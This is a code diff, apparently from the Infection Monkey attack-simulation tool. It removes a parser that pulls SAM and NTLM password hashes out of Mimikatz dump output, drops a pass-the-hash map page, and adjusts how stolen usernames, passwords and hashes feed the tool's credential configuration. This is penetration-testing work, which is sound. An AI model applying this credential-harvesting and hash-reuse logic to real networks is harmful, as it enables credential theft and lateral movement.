|
|
||||||
# Static class
|
|
||||||
pass
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def extract_sam_secrets(mim_string, users_dict):
|
|
||||||
users_secrets = mim_string.split("\n42.")[1].split("\nSAMKey :")[1].split("\n\n")[1:]
|
|
||||||
|
|
||||||
if mim_string.count("\n42.") != 2:
|
|
||||||
return {}
|
|
||||||
|
|
||||||
for sam_user_txt in users_secrets:
|
|
||||||
sam_user = dict([list(map(str.strip, line.split(":"))) for line in
|
|
||||||
[l for l in sam_user_txt.splitlines() if l.count(":") == 1]])
|
|
||||||
username = sam_user.get("User")
|
|
||||||
users_dict[username] = {}
|
|
||||||
|
|
||||||
ntlm = sam_user.get("NTLM")
|
|
||||||
if not ntlm or "[hashed secret]" not in ntlm:
|
|
||||||
continue
|
|
||||||
|
|
||||||
users_dict[username]['SAM'] = ntlm.replace("[hashed secret]", "").strip()
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def extract_ntlm_secrets(mim_string, users_dict):
|
|
||||||
|
|
||||||
if mim_string.count("\n42.") != 2:
|
|
||||||
return {}
|
|
||||||
|
|
||||||
ntds_users = mim_string.split("\n42.")[2].split("\nRID :")[1:]
|
|
||||||
|
|
||||||
for ntds_user_txt in ntds_users:
|
|
||||||
user = ntds_user_txt.split("User :")[1].splitlines()[0].replace("User :", "").strip()
|
|
||||||
ntlm = ntds_user_txt.split("* Primary\n NTLM :")[1].splitlines()[0].replace("NTLM :", "").strip()
|
|
||||||
ntlm = ntlm.replace("[hashed secret]", "").strip()
|
|
||||||
users_dict[user] = {}
|
|
||||||
if ntlm:
|
|
||||||
users_dict[user]['ntlm'] = ntlm
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def extract_secrets_from_mimikatz(mim_string):
|
|
||||||
users_dict = {}
|
|
||||||
MimikatzSecrets.extract_sam_secrets(mim_string, users_dict)
|
|
||||||
MimikatzSecrets.extract_ntlm_secrets(mim_string, users_dict)
|
|
||||||
|
|
||||||
return users_dict
|
|
|
@ -184,10 +184,13 @@ class ReportService:
|
||||||
continue
|
continue
|
||||||
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
|
||||||
for user in monkey_creds:
|
for user in monkey_creds:
|
||||||
for pass_type in monkey_creds[user]:
|
for pass_type in PASS_TYPE_DICT:
|
||||||
|
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
|
||||||
|
continue
|
||||||
|
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
|
||||||
cred_row = \
|
cred_row = \
|
||||||
{
|
{
|
||||||
'username': user.replace(',', '.'),
|
'username': username,
|
||||||
'type': PASS_TYPE_DICT[pass_type],
|
'type': PASS_TYPE_DICT[pass_type],
|
||||||
'origin': origin
|
'origin': origin
|
||||||
}
|
}
|
||||||
|
@ -729,8 +732,7 @@ class ReportService:
|
||||||
'stolen_creds': ReportService.get_stolen_creds(),
|
'stolen_creds': ReportService.get_stolen_creds(),
|
||||||
'azure_passwords': ReportService.get_azure_creds(),
|
'azure_passwords': ReportService.get_azure_creds(),
|
||||||
'ssh_keys': ReportService.get_ssh_keys(),
|
'ssh_keys': ReportService.get_ssh_keys(),
|
||||||
'strong_users': PTHReportService.get_strong_users_on_crit_details(),
|
'strong_users': PTHReportService.get_strong_users_on_crit_details()
|
||||||
'pth_map': PTHReportService.get_pth_map()
|
|
||||||
},
|
},
|
||||||
'recommendations':
|
'recommendations':
|
||||||
{
|
{
|
||||||
|
|
|
@ -1,7 +1,6 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from monkey_island.cc.encryptor import encryptor
|
from monkey_island.cc.encryptor import encryptor
|
||||||
from monkey_island.cc.services import mimikatz_utils
|
|
||||||
from monkey_island.cc.services.config import ConfigService
|
from monkey_island.cc.services.config import ConfigService
|
||||||
from monkey_island.cc.services.node import NodeService
|
from monkey_island.cc.services.node import NodeService
|
||||||
from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \
|
from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \
|
||||||
|
@ -16,7 +15,7 @@ def process_system_info_telemetry(telemetry_json):
|
||||||
telemetry_processing_stages = [
|
telemetry_processing_stages = [
|
||||||
process_ssh_info,
|
process_ssh_info,
|
||||||
process_credential_info,
|
process_credential_info,
|
||||||
process_mimikatz_and_wmi_info,
|
process_wmi_info,
|
||||||
dispatcher.dispatch_collector_results_to_relevant_processors
|
dispatcher.dispatch_collector_results_to_relevant_processors
|
||||||
]
|
]
|
||||||
|
|
||||||
|
@ -83,20 +82,18 @@ def replace_user_dot_with_comma(creds):
|
||||||
|
|
||||||
def add_system_info_creds_to_config(creds):
|
def add_system_info_creds_to_config(creds):
|
||||||
for user in creds:
|
for user in creds:
|
||||||
ConfigService.creds_add_username(user)
|
ConfigService.creds_add_username(creds[user]['username'])
|
||||||
if 'password' in creds[user]:
|
if 'password' in creds[user] and creds[user]['password']:
|
||||||
ConfigService.creds_add_password(creds[user]['password'])
|
ConfigService.creds_add_password(creds[user]['password'])
|
||||||
if 'lm_hash' in creds[user]:
|
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
|
||||||
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
|
||||||
if 'ntlm_hash' in creds[user]:
|
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
|
||||||
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
|
||||||
|
|
||||||
|
|
||||||
def process_mimikatz_and_wmi_info(telemetry_json):
|
def process_wmi_info(telemetry_json):
|
||||||
users_secrets = {}
|
users_secrets = {}
|
||||||
if 'mimikatz' in telemetry_json['data']:
|
|
||||||
users_secrets = mimikatz_utils.MimikatzSecrets. \
|
|
||||||
extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
|
|
||||||
if 'wmi' in telemetry_json['data']:
|
if 'wmi' in telemetry_json['data']:
|
||||||
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
|
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
|
||||||
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
|
wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
|
||||||
|
|
|
@ -69,7 +69,7 @@ class WMIHandler(object):
|
||||||
base_entity = self.build_entity_document(user)
|
base_entity = self.build_entity_document(user)
|
||||||
else:
|
else:
|
||||||
base_entity = self.build_entity_document(user, self.monkey_id)
|
base_entity = self.build_entity_document(user, self.monkey_id)
|
||||||
base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm')
|
base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm_hash')
|
||||||
base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
|
base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam')
|
||||||
base_entity['secret_location'] = []
|
base_entity['secret_location'] = []
|
||||||
|
|
||||||
|
|
|
@ -1,52 +0,0 @@
|
||||||
import React from 'react';
|
|
||||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
|
||||||
import AuthComponent from '../AuthComponent';
|
|
||||||
import {optionsPth} from '../map/MapOptions';
|
|
||||||
import {Col} from 'react-bootstrap';
|
|
||||||
|
|
||||||
class PassTheHashMapPageComponent extends AuthComponent {
|
|
||||||
constructor(props) {
|
|
||||||
super(props);
|
|
||||||
this.state = {
|
|
||||||
graph: props.graph,
|
|
||||||
selected: null,
|
|
||||||
selectedType: null
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
events = {
|
|
||||||
select: event => this.selectionChanged(event)
|
|
||||||
};
|
|
||||||
|
|
||||||
selectionChanged(event) {
|
|
||||||
if (event.nodes.length === 1) {
|
|
||||||
let displayedNode = this.state.graph.nodes.find(
|
|
||||||
function (node) {
|
|
||||||
return node['id'] === event.nodes[0];
|
|
||||||
});
|
|
||||||
this.setState({selected: displayedNode, selectedType: 'node'})
|
|
||||||
} else if (event.edges.length === 1) {
|
|
||||||
let displayedEdge = this.state.graph.edges.find(
|
|
||||||
function (edge) {
|
|
||||||
return edge['id'] === event.edges[0];
|
|
||||||
});
|
|
||||||
this.setState({selected: displayedEdge, selectedType: 'edge'});
|
|
||||||
} else {
|
|
||||||
this.setState({selected: null, selectedType: null});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
render() {
|
|
||||||
return (
|
|
||||||
<div>
|
|
||||||
<Col xs={12}>
|
|
||||||
<div style={{height: '70vh'}}>
|
|
||||||
<ReactiveGraph graph={this.state.graph} options={optionsPth} events={this.events}/>
|
|
||||||
</div>
|
|
||||||
</Col>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export default PassTheHashMapPageComponent;
|
|
|
@ -420,10 +420,6 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<PostBreach data={this.state.report.glance.scanned}/>
|
<PostBreach data={this.state.report.glance.scanned}/>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div style={{position: 'relative', height: '80vh'}}>
|
|
||||||
{this.generateReportPthMap()}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div style={{marginBottom: '20px'}}>
|
<div style={{marginBottom: '20px'}}>
|
||||||
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
|
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
|
||||||
</div>
|
</div>
|
||||||
|
|
|
@ -44,11 +44,10 @@ class ScannedServersComponent extends React.Component {
|
||||||
return (
|
return (
|
||||||
<>
|
<>
|
||||||
<p>
|
<p>
|
||||||
The Monkey discovered
|
The Monkey discovered
|
||||||
<span className="label label-danger">{scannedServicesAmount}</span>
|
<span className="label label-danger">{scannedServicesAmount}</span> open
|
||||||
open {Pluralize('service', scannedServicesAmount)}
|
{Pluralize('service', scannedServicesAmount)} on
|
||||||
on
|
<span className="label label-warning">{scannedMachinesCount}</span>
|
||||||
<span className="label label-warning">{scannedMachinesCount}</span>
|
|
||||||
{Pluralize('machine', scannedMachinesCount)}:
|
{Pluralize('machine', scannedMachinesCount)}:
|
||||||
</p>
|
</p>
|
||||||
<div className="data-table-container">
|
<div className="data-table-container">
|
||||||
|
|
Loading…
Reference in New Issue